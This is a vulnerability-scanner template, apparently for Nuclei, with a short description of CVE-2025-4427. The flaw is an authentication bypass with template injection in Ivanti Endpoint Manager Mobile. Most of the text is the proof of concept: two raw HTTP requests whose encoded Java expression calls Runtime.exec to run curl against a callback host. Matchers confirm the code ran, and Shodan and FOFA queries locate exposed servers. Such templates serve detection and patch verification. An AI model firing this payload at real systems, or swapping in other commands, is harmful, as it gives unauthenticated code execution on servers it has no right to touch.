An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
PoC
id: CVE-2025-4427
info:
name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
severity: critical
description: |
An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.
impact: |
Unauthenticated attackers can execute arbitrary code with elevated privileges through server-side template injection in bean validators, achieving complete system compromise.
remediation: |
Apply the security patches as described in the Ivanti security advisory for Endpoint Manager Mobile.
reference:
- https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2025-4427
cwe-id: CWE-288
epss-score: 0.99927
epss-percentile: 0.99968
metadata:
verified: true
max-request: 2
shodan-query: http.favicon.hash:"362091310"
fofa-query: icon_hash="362091310"
product: endpoint_manager_mobile
vendor: ivanti
tags: cve,cve2025,ivanti,epmm,rce,ssti,kev,vkev,vuln
http:
- raw:
- |
GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
Host: {{Hostname}}
- |
GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "localizedMessage"
- type: regex
part: body
regex:
- "Format 'Process\\[pid="
- "Format 'java\\.lang\\.UNIXProcess@[0-9a-f]+'"
condition: or
- type: word
part: interactsh_protocol
words:
- dns
- type: status
status:
- 400
# digest: 4a0a00473045022005e8ca8a3f887287bc7930c14ec298ef8eab6d893a23b329352be7faea90c1d8022100c6947817211600e0b79781b9816217b7da1248346722ae638f21ad3e40ecb5c4:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.